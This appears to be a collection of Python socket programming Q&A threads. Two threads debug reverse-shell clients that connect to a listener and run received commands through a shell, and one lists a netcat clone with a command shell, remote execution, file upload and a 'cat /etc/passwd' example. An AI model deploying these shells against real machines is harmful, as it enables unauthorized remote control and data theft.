WindowsError: [Error 123] The filename, directory name, or volume label syntax is incorrect - python-2.7

I'm making a simple Python 2.7 reverse-shell , for the directory change function everytime I type cd C:\ in my netcat server it throws this error "WindowsError: [Error 123] The filename, directory name, or volume label syntax is incorrect: 'C:\\n'" Here is my code.
import socket
import os
import subprocess
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
host = "192.168.1.15"
port = 4444
s.connect((host, port))
s.send(os.getcwd() + '> ')
def Shell():
while True:
data = s.recv(1024)
if data[:2] == 'cd':
os.chdir(data[3:])
if len(data) > 0:
proc = subprocess.Popen(data, shell = True ,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE)
result = proc.stdout.read() + proc.stderr.read()
s.send(result)
s.send(os.getcwd() + '> ')
print(data)
Shell()

When you use data = s.recv(1024) to receive data from remote, the \n character, generated when you press Enter to end current input, will be received at the same time.
So you just need to .strip() it, or use [:-1] to remove the last character (which is \n), when you get data.
data = s.recv(1024).strip()
or
data = s.recv(1024)[:-1]
may both OK.

Related

python2.7 netcat program running with subprocesses

I am trying to make a script to mimic netcat and it kinda runs but i don't get the result i'm meant to, when trying to debug it i managed to do a bit but after days of searching and trial and errors i am at a loss at how to fix the issue. This is my whole code:
import sys
import socket
import getopt
import threading
import subprocess
import os
# define the global variables
listen = False
command = False
upload = False
execute = ""
target = ""
upload_destination = ""
port = 0
def usage():
print "BHP Net Tool"
print "Usage: netcat2.py -t target_host -p port"
print "-l --listen - listen on [host]:[port] for incoming
connections"
print "-e --execute=file_to_run - execute the given file upon receiving
a connection"
print "-c --command - initialize a command shell"
print "-u --upload=destination - upon receiving connection upload a
file and wrtie to [destination]"
print "Examples: "
print "netcat2.py -t 192.168.0.1 -p 5555 -l -c"
print "netcat2.py -t 192.168.0.1 -p 5555 -l -u=C:\\target.exe"
print "netcat2.py -t 192.168.0.1 -p 5555 -l -e=\"cat /etc/passwd\""
print "echo 'ABCDEFGHI' | ./netcat2.py -t 192.168.0.1 -p 135"
sys.exit(0)
def main():
global listen
global port
global execute
global command
global upload_destination
global target
if not len(sys.argv[1:]):
usage()
# read the commandline option
try:
opts, args = getopt.getopt(sys.argv[1:], "hle:t:p:cu", ["help",
"listen", "execute", "target", "port", "command", "upload"])
except getopt.GetoptError as err:
print str(err)
usage()
for o, a in opts:
if o in ("-h", "--help"):
usage()
elif o in ("-l", "--listen"):
listen = True
elif o in ("-e", "--execute"):
execute = a
elif o in ("-c", "--commandshell"):
command = True
elif o in ("-u", "--upload"):
upload_destination = a
elif o in ("-t", "--target"):
target = a
elif o in ("-p", "--port"):
port = int(a)
else:
assert False, "Unhandled Option"
# are we going to listen or just send data from stdin?
if not listen and len(target) and port > 0:
# read in the line from the commandline
# this will block, so send CTRL-D if not sending input
# to stdin
line = sys.stdin.readline()
print (line)
# send data off
client_sender(line)
# we are going to listen and potentially
# upload things, execute commands, and drop a shell back
# depending on our command line options above
if listen:
server_loop()
def client_sender(line):
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
# connect to our target host
client.connect((target, port))
if len(line):
client.send(line)
while True:
# now wait for data back
recv_len = 1
response = ""
while recv_len:
data = client.recv(4096)
recv_len = len(data)
response += data
if recv_len < 4096:
break
print "response"
# wait for more input
line = raw_input("")
line += "\n"
# send it off
client.sendline()
except:
print "[*] Exception! Exiting."
# tear down the connection
client.close()
def server_loop():
global target
# if no target is defined, we listen on all interfaces
if not len(target):
target = "0.0.0.0"
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((target, port))
server.listen(5)
while True:
client_socket, addr = server.accept()
# spin off a thread to handle out new client
client_thread = threading.Thread(target=client_handler, args=
(client_socket,))
client_thread.start()
def run_command(command):
# trim the newline
command = command.rstrip()
# run the command and get the output back
try:
with open(os.devnull, 'w') as devnull:
output = subprocess.check_output(command,
stderr=subprocess.STDOUT, shell=True)
except:
output = "Failed to execite command. \r\n"
# send the output back to the client
return output
def client_handler(client_socket):
global upload
global execute
global command
# check for upload
if len(upload_destination):
# read in all of the bytes and write to out destination
file_line = ""
# keep reading data until none is available
while True:
data = client_socket.recv(1024)
if not data:
break
else:
file_line += data
# now we take these bytes and try to write them out
try:
file_descriptor = open(upload_destination, "wb")
file_descriptor.write(file_line)
file_descriptor.close()
# acknowledge that we wrote the file out
client_socket.send("Succesfully saved file to %s\r\n" %
upload_destination)
except:
client_socket.send("Failed to save file to %s\r\n" %
upload_destination)
# check for command execution
if len(execute):
# run the command
output = run_command(execute)
client_socket.send(output)
# now we go into another loop if a command shell was requested
if command:
while True:
# show a simple prompt
client_socket.send("<BHP:#> ")
# now we receive until we see a linefeed (enter key)
cmd_line = ""
while "\n" not in cmd_line:
cmd_line += client_socket.recv(1024)
# send back the command output
response = run_command(cmd_line)
# send back the response
client_socket.send(response)
main()
when i run it, and close it with CTRL+D it exits and when i close the terminal i get this message in localhost:
<BHP:#> Failed to execite command.
<BHP:#>
if anyone can help me fix this or even point me in the right direction i'd really appreciate it :), i'm trying to run this in python 2.7

Print 3000 first characters from the file online using sockets

So I am doing this ungraded assignment from an online course (so please do not hesitate to post solutions to this nemesis of mine).
Assignment open the file from the webpage using import socket,prompt the user for the url, print 3000 first characters including header, but count all of the characters in the file.
So first I have done this:
import socket
import re
url = raw_input('Enter - ')
try:
hostname = re.findall('http://(.+?)/', url)
hostname = hostname[0]
mysock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
mysock.connect((hostname, 80))
mysock.send('GET ' + url + ' HTTP/1.0\n\n')
count = 0
text = str()
while True:
data = mysock.recv(512)
if ( len(data) < 1 ) :
break
count += len(data)
if count <= 3000:
print data
mysock.close()
except:
print 'Please enter a valid URL'
print count
But every time I adjust the buffer in the mysock.recv() the output changes and I get random spaces inside the text.
Then I've done this which eliminated the funky random splits in lines but the output still differs depending on the buffer inside.
import socket
import re
url = raw_input('Enter - ')
try:
hostname = re.findall('http://(.+?)/', url)
hostname = hostname[0]
mysock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
mysock.connect((hostname, 80))
mysock.send('GET ' + url + ' HTTP/1.0\n\n')
count = 0
text = str()
while True:
data = mysock.recv(512)
if ( len(data) < 1 ) :
break
count += len(data)
if count <= 3000:
data.rstrip()
text = text + data
mysock.close()
except:
print 'Please enter a valid URL'
print text
print count
So I've been at it for several hours now and still can't get the exact same output regardless of the size of the buffer without funky line splitting spaces in there.
the file that I use: http://www.py4inf.com/code/romeo-full.txt
I'm studying on same book and i'm on same exercise. Question is 3 years old but don't give af, maybe is helpful for someone.
On first you can't print data in that way. You need something like this:
while True:
data = mysock.recv(512)
if len(data) < 1:
break
print(data.decode(),end='')
Also, it's perfectly normal that you haven't same results if you change the buffer 512 because count variable depends on it. Anyway the author asked just to stop after showing 3000 chars.
My full code (will works only with HTTP, HTTPS not handled):
import socket
import sys
import validators
import urllib.parse
url = input('Insert url to fetch: ')
# Test valid url
try:
valid = validators.url(url)
if valid != True:
raise ValueError
except ValueError:
print('url incorrect')
sys.exit()
# Test socket connection
try:
mysock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print('\nSocket successfully created')
except socket.error as err:
print('Socket creation failed with error %s' %(err))
# Extract hostname of url
parsed_url = urllib.parse.urlparse(url)
print('Resolving ->', parsed_url.netloc)
# Test if we can resolve the host
try:
host_ip = socket.gethostbyname(parsed_url.netloc)
except socket.gaierror:
print('Unable to resolve', parsed_url.netloc)
sys.exit()
# Connect to host
mysock.connect((parsed_url.netloc, 80))
# Crafting our command to send
cmd = ('GET ' + url + ' HTTP/1.0\r\n\r\n').encode()
# Sending our command
mysock.send(cmd)
count = 0
# Receive data
while True:
data = mysock.recv(500)
count += len(data)
if len(data) < 1:
break
if count > 3000:
break
print(data.decode(),end='')
mysock.close()
Could be the solution, maybe

socket client issue '__getitem__'

Hi there I was watching some tutorials about a Revers shell using python in youtube https://www.youtube.com/watch?v=-QMPYah8fWI&index=5&list=PL6gx4Cwl9DGCbpkBEMiCaiu_3OL-_Bz_8][1]
the purpose of this client is to receive command from the server , the server works great but when I ran the client it gave me this
File "/root/Desktop/Revers/client.py", line 15, in <module>
if data[:2].decode('utf-8') == "cd":
TypeError: 'module' object has no attribute '__getitem_
here is the code :
s = socket.socket()
s.connect((host, port))
while True:
date = s.recv(1024)
if data[:2].decode('utf-8') == "cd":
os.chdir(data[3:].decode("utf-8"))
if len(data) > 0:
cmd = subprocess.Popen(data[:].decode("utf-8"), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE,
stdin=subprocess.PIPE)
output_bytes = cmd.stdout.read() + cmd.stderr.read()
output_str = str(output_bytes)
s.send(str.encode(output_str + str(os.getcwd()) + '> '))
print(output_str)
s.close()
There is a typo on this line:
date = s.recv(1024)
date instead of data.
So the expression data[:2] calls data.__getitem__ where data is defined before.
As the error about a 'module' object, I guess data is a module you importe before.

how to run two process in parallel using multiprocessing module in python

My requirement is to capture logs for a particular http request sent to server from project server log file. So have written two function and trying to execute them parallel using multiprocessing module. But only one is getting executed. not sure what is going wrong.
My two functions - run_remote_command - using paramiko module for executing the tail command on remote server(linux box) and redirecting the output to a file. And send_request - using request module to make POST request from local system (windows laptop) to the server.
Code:
import multiprocessing as mp
import paramiko
import datetime
import requests
def run_remote_command():
basename = "sampletrace"
suffixname = datetime.datetime.now().strftime("%y%m%d_%H%M%S")
filename = "_".join([basename, suffixname])
print filename
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
ssh.connect(hostname='x.x.x.x',username='xxxx',password='xxxx')
except Exception as e:
print "SSH Connecting to Host failed"
print e
ssh.close()
print ssh
tail = "tail -1cf /var/opt/logs/myprojectlogFile.txt >"
cmdStr = tail + " " + filename
result = ''
try:
stdin, stdout, stderr = ssh.exec_command(cmdStr)
print "error:" +str( stderr.readlines())
print stdout
#logger.info("return output : response=%s" %(self.resp_result))
except Exception as e:
print 'Run remote command failed cmd'
print e
ssh.close()
def send_request():
request_session = requests.Session()
headers = {"Content-Type": "application/x-www-form-urlencoded"}
data = "some data "
URL = "http://X.X.X.X:xxxx/request"
request_session.headers.update(headers)
resp = request_session.post(URL, data=data)
print resp.status_code
print resp.request.headers
print resp.text
def runInParallel(*fns):
proc = []
for fn in fns:
p = mp.Process(target=fn)
p.start()
proc.append(p)
for p in proc:
p.join()
if __name__ == '__main__':
runInParallel(run_remote_command, send_request)
Output: only the function send_request is getting executed. Even I check the process list of the server there is no tail process is getting created
200
Edited the code per the #Ilja comment

sending images using python tcp socket

i'm new in python and english :). i'm trying to send an image file usşng python sockets and i have written this cosdes. it says it work but i get an empty file or missing image file.
this is the codes i've written:
server:
import socket
host = socket.gethostname()
port = 5000
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((host, port))
s.listen(1)
sunucu , adres = s.accept()
print "baglanti saglandi"
def recvall(baglanti, buf):
data = ""
while len(data) < buf:
packet = baglanti.recv(buf - len(data))
if not packet:
return None
data += packet
return data
f = open("ggg.png", "w")
while True:
veri = sunucu.recv(512)
if not veri:
break
f.write(veri)
f.close()
print "resim alindi."
sunucu.close()
s.close()
and client:
import socket
host = socket.gethostname()
port = 5000
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host , port))
f = open("ornekresim.png", "r")
while True:
veri = f.readline(512)
if not veri:
break
s.send(veri)
f.close()
print "resim gonderildi"
s.close()
By default the Python function open opens file in text mode, meaning it will handle all input/output as text, while an image is decidedly binary.
A file in text mode will do thing like translating newline sequences (which are different on different systems). That means the data you read will be corrupted.
To open a file in binary mode, then append 'b' to the mode flags, like e.g.
f = open("ornekresim.png", "rb") # <-- Note the 'b' in the mode
However, with your code this leads to another problem, namely that you can't use readline anymore. Not that it made much sense anyway, reading binary data as lines since there are no "lines" in binary data.
You have to use the read function instead.